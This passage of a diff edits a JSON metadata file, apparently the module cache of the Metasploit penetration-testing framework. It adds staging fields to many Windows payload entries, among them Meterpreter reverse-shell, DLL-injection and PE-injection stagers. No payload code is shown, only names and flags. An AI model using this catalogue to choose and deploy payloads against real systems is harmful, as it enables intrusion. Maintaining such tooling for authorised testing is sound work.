Stager with UUID Support (Windows x86)", @@ -217929,7 +222771,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/meterpreter/find_tag": { "name": "Windows Meterpreter (Reflective Injection), Find Tag Ordinal Stager", @@ -217966,7 +222812,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/findtag_ord" }, "payload_windows/meterpreter/reverse_hop_http": { "name": "Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager", @@ -218006,7 +222856,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_hop_http" }, "payload_windows/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)", @@ -218044,7 +222898,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_http" }, "payload_windows/meterpreter/reverse_http_proxy_pstore": { "name": "Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy", @@ -218082,7 +222940,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_windows/meterpreter/reverse_https": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)", @@ -218120,7 +222982,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_https" }, "payload_windows/meterpreter/reverse_https_proxy": { "name": "Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy", @@ -218160,7 +223026,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_https_proxy" }, "payload_windows/meterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)", @@ -218198,7 +223068,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/meterpreter/reverse_named_pipe": { "name": "Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager", @@ -218235,7 +223109,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_named_pipe" }, "payload_windows/meterpreter/reverse_nonx_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)", @@ -218273,7 +223151,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/meterpreter/reverse_ord_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)", @@ -218311,7 +223193,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/meterpreter/reverse_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager", @@ -218349,7 +223235,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/meterpreter/reverse_tcp_allports": { "name": "Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager", @@ -218387,7 +223277,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/meterpreter/reverse_tcp_dns": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)", @@ -218426,7 +223320,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/meterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -218466,7 +223364,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/meterpreter/reverse_tcp_rc4_dns": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -218506,7 +223408,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/meterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support", @@ -218544,7 +223450,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/meterpreter/reverse_winhttp": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)", @@ -218583,7 +223493,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_winhttp" }, "payload_windows/meterpreter/reverse_winhttps": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)", @@ -218622,7 +223536,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_winhttps" }, "payload_windows/meterpreter_bind_named_pipe": { "name": "Windows Meterpreter Shell, Bind Named Pipe Inline", @@ -218659,7 +223577,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_bind_tcp": { "name": "Windows Meterpreter Shell, Bind TCP Inline", @@ -218695,7 +223615,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_reverse_http": { "name": "Windows Meterpreter Shell, Reverse HTTP Inline", @@ -218731,7 +223653,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_reverse_https": { "name": "Windows Meterpreter Shell, Reverse HTTPS Inline", @@ -218767,7 +223691,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_reverse_ipv6_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline (IPv6)", @@ -218803,7 +223729,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/meterpreter_reverse_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline", @@ -218839,7 +223767,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/metsvc_bind_tcp": { "name": "Windows Meterpreter Service, Bind TCP", @@ -218873,7 +223803,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/metsvc_reverse_tcp": { "name": "Windows Meterpreter Service, Reverse TCP Inline", @@ -218907,7 +223839,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/patchupdllinject/bind_hidden_ipknock_tcp": { "name": "Windows Inject DLL, Hidden Bind Ipknock TCP Stager", @@ -218945,7 +223879,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/patchupdllinject/bind_hidden_tcp": { "name": "Windows Inject DLL, Hidden Bind TCP Stager", @@ -218983,7 +223921,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/patchupdllinject/bind_ipv6_tcp": { "name": "Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)", @@ -219020,7 +223962,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/patchupdllinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -219058,7 +224004,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/patchupdllinject/bind_named_pipe": { "name": "Windows Inject DLL, Windows x86 Bind Named Pipe Stager", @@ -219094,7 +224044,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/patchupdllinject/bind_nonx_tcp": { "name": "Windows Inject DLL, Bind TCP Stager (No NX or Win7)", @@ -219130,7 +224084,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/patchupdllinject/bind_tcp": { "name": "Windows Inject DLL, Bind TCP Stager (Windows x86)", @@ -219167,7 +224125,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp" }, "payload_windows/patchupdllinject/bind_tcp_rc4": { "name": "Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -219206,7 +224168,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/patchupdllinject/bind_tcp_uuid": { "name": "Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)", @@ -219243,7 +224209,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/patchupdllinject/find_tag": { "name": "Windows Inject DLL, Find Tag Ordinal Stager", @@ -219278,7 +224248,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/findtag_ord" }, "payload_windows/patchupdllinject/reverse_ipv6_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager (IPv6)", @@ -219315,7 +224289,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/patchupdllinject/reverse_nonx_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager (No NX or Win7)", @@ -219351,7 +224329,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/patchupdllinject/reverse_ord_tcp": { "name": "Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -219387,7 +224369,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/patchupdllinject/reverse_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager", @@ -219424,7 +224410,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/patchupdllinject/reverse_tcp_allports": { "name": "Windows Inject DLL, Reverse All-Port TCP Stager", @@ -219461,7 +224451,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/patchupdllinject/reverse_tcp_dns": { "name": "Windows Inject DLL, Reverse TCP Stager (DNS)", @@ -219499,7 +224493,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/patchupdllinject/reverse_tcp_rc4": { "name": "Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -219538,7 +224536,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/patchupdllinject/reverse_tcp_rc4_dns": { "name": "Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -219577,7 +224579,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/patchupdllinject/reverse_tcp_uuid": { "name": "Windows Inject DLL, Reverse TCP Stager with UUID Support", @@ -219614,7 +224620,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/patchupmeterpreter/bind_hidden_ipknock_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager", @@ -219652,7 +224662,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/patchupmeterpreter/bind_hidden_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager", @@ -219690,7 +224704,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/patchupmeterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)", @@ -219727,7 +224745,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/patchupmeterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -219765,7 +224787,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/patchupmeterpreter/bind_named_pipe": { "name": "Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager", @@ -219801,7 +224827,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/patchupmeterpreter/bind_nonx_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)", @@ -219837,7 +224867,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/patchupmeterpreter/bind_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)", @@ -219874,7 +224908,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp" }, "payload_windows/patchupmeterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -219913,7 +224951,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/patchupmeterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)", @@ -219950,7 +224992,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/patchupmeterpreter/find_tag": { "name": "Windows Meterpreter (skape/jt Injection), Find Tag Ordinal Stager", @@ -219985,7 +225031,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/findtag_ord" }, "payload_windows/patchupmeterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)", @@ -220022,7 +225072,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/patchupmeterpreter/reverse_nonx_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)", @@ -220058,7 +225112,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/patchupmeterpreter/reverse_ord_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)", @@ -220094,7 +225152,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/patchupmeterpreter/reverse_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager", @@ -220131,7 +225193,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/patchupmeterpreter/reverse_tcp_allports": { "name": "Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager", @@ -220168,7 +225234,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/patchupmeterpreter/reverse_tcp_dns": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)", @@ -220206,7 +225276,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/patchupmeterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -220245,7 +225319,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/patchupmeterpreter/reverse_tcp_rc4_dns": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -220284,7 +225362,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/patchupmeterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support", @@ -220321,7 +225403,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/peinject/bind_hidden_ipknock_tcp": { "name": "Windows Inject PE Files, Hidden Bind Ipknock TCP Stager", @@ -220359,7 +225445,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/peinject/bind_hidden_tcp": { "name": "Windows Inject PE Files, Hidden Bind TCP Stager", @@ -220397,7 +225487,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/peinject/bind_ipv6_tcp": { "name": "Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)", @@ -220434,7 +225528,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/peinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -220472,7 +225570,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/peinject/bind_named_pipe": { "name": "Windows Inject PE Files, Windows x86 Bind Named Pipe Stager", @@ -220507,7 +225609,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/peinject/bind_nonx_tcp": { "name": "Windows Inject PE Files, Bind TCP Stager (No NX or Win7)", @@ -220542,7 +225648,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/peinject/bind_tcp": { "name": "Windows Inject PE Files, Bind TCP Stager (Windows x86)", @@ -220579,7 +225689,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp" }, "payload_windows/peinject/bind_tcp_rc4": { "name": "Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -220618,7 +225732,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/peinject/bind_tcp_uuid": { "name": "Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)", @@ -220654,7 +225772,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/peinject/find_tag": { "name": "Windows Inject PE Files, Find Tag Ordinal Stager", @@ -220689,7 +225811,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/findtag_ord" }, "payload_windows/peinject/reverse_ipv6_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager (IPv6)", @@ -220726,7 +225852,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/peinject/reverse_named_pipe": { "name": "Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager", @@ -220761,7 +225891,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_named_pipe" }, "payload_windows/peinject/reverse_nonx_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)", @@ -220796,7 +225930,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/peinject/reverse_ord_tcp": { "name": "Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -220831,7 +225969,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/peinject/reverse_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager", @@ -220868,7 +226010,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/peinject/reverse_tcp_allports": { "name": "Windows Inject PE Files, Reverse All-Port TCP Stager", @@ -220905,7 +226051,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/peinject/reverse_tcp_dns": { "name": "Windows Inject PE Files, Reverse TCP Stager (DNS)", @@ -220943,7 +226093,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/peinject/reverse_tcp_rc4": { "name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -220982,7 +226136,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/peinject/reverse_tcp_rc4_dns": { "name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -221021,7 +226179,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/peinject/reverse_tcp_uuid": { "name": "Windows Inject PE Files, Reverse TCP Stager with UUID Support", @@ -221057,7 +226219,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/pingback_bind_tcp": { "name": "Windows x86 Pingback, Bind TCP Inline", @@ -221091,7 +226257,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/pingback_reverse_tcp": { "name": 